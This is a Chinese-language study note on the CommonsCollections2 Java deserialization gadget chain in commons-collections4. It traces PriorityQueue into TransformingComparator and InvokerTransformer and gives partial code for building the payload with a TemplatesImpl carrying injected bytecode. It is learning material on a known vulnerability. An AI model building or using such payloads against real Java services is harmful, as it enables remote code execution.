CC2
CC2仍然跟随p神的思路走
在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:
commons-collections:commons-collections
org.apache.commons:commons-collections4
groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后者是官⽅在2013年推出的4版本,当时版本号是4.0。
官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。
而这个新的CC版本也是存在反序列化利用链的(而我们之前的利用链 CC1 CC3 CC6都是可以在org.apache.commons:commons-collections4中正常使用的,需要注意的是LazyMap的decorate方法更名为lazymap方法)
pom.xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
PriorityQueue利⽤链
ysoserial为commons-collections4准备了两条新的利⽤链,那就是CommonsCollections2和CommonsCollections4。
commons-collections这个包之所有能攒出那么多利⽤链来,除了因为其使⽤量⼤,技术上的原因是其中包含了⼀些可以执⾏任意⽅法的Transformer。所以,在commons-collections中找Gadget的过 程,实际上可以简化为,找⼀条从Serializable#readObject() ⽅法到Transformer#transform()⽅法的调⽤链。
有了这个认识,我们再来看CommonsCollections2,其中⽤到的两个关键类是:
- java.util.PriorityQueue
- org.apache.commons.collections4.comparators.TransformingComparator
PriorityQueue 是⼀个有⾃⼰readObject() ⽅法的类
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
org.apache.commons.collections4.comparators.TransformingComparator 中有调⽤transform() ⽅法的函数:
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
CommonsCollections2实际就是⼀条从PriorityQueue 到TransformingComparator 的利⽤链。
看⼀下他们是怎么连接起来的。PriorityQueue#readObject() 中调⽤了heapify() ⽅法, heapify() 中调⽤了siftDown()
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
siftDown() 中调⽤了siftDownUsingComparator()
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
siftDownUsingComparator() 中调⽤的comparator.compare() ,于是就连接到上⾯的TransformingComparator 了:
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
- java.util.PriorityQueue 是⼀个优先队列(Queue),基于⼆叉堆实现,队列中每⼀个元素有⾃⼰的优先级,节点之间按照优先级⼤⼩排序成⼀棵树
- 反序列化时为什么需要调⽤heapify() ⽅法?为了反序列化后,需要恢复(换⾔之,保证)这个结构的顺序
- 排序是靠将⼤的元素下移实现的。siftDown() 是将节点下移的函数,⽽comparator.compare() ⽤来⽐较两个元素⼤⼩
- TransformingComparator 实现了java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较。siftDownUsingComparator() 中就使⽤这个接⼝的compare() ⽅法⽐较树的节 点。
调试
反序列化入口在PriorityQueue(后面简称PQ)
我们构造PQ用的是这个构造方法,第一个参数随便传,第二个参数传的是一个Comparator类型(TransformingComparator)
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
而这个Comparator类型(TransformingComparator)里塞的就直接是chaintransform
感觉是迄今为止最短的链子了
readobject() - heapify() - siftDown()这几步都没有用到我们构造的Comparator,流畅转入下面的siftDownUsingComparator()
调用comparator.compare(x, (E) c)
,x是1 c是2 哈哈
到这里就离开PQ到了TransformingComparator,这里的this.transformer是chaintransform,老朋友了
最后调用到invoketransform
改进PriorityQueue利⽤链
既然有新的链子了,也可以像之前改shiro链子的时候一样,就像拼图一样,CC2这里我们新拿到了拼图PriorityQueue和TransformingComparator
拿到了一个新的反序列化触发点和一个“中间地带”,相当于拿到一个新的触发transf
感觉确实有点晕
(思路是调用chaintransform对象那里直接换成invoketransform,invoketransform传入的对象不再是没用的对象,而是TemplatesImpl 对象)
首先,还是创建TemplatesImpl 对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
创建⼀个⼈畜无害的InvokerTransformer 对象,并⽤它实例化Comparator :
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
还是像上面一样实例化PriorityQueue ,但是此时向队列⾥添加的元素就是我们前⾯创建的TemplatesImpl 对象了:
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
ps:,invoketransform传入的对象不再是没用的对象,而是TemplatesImpl 对象
稍微调试一下
可以看到这里不再是之前没用的数字了
关键点
到这里就是之前分析过的内容了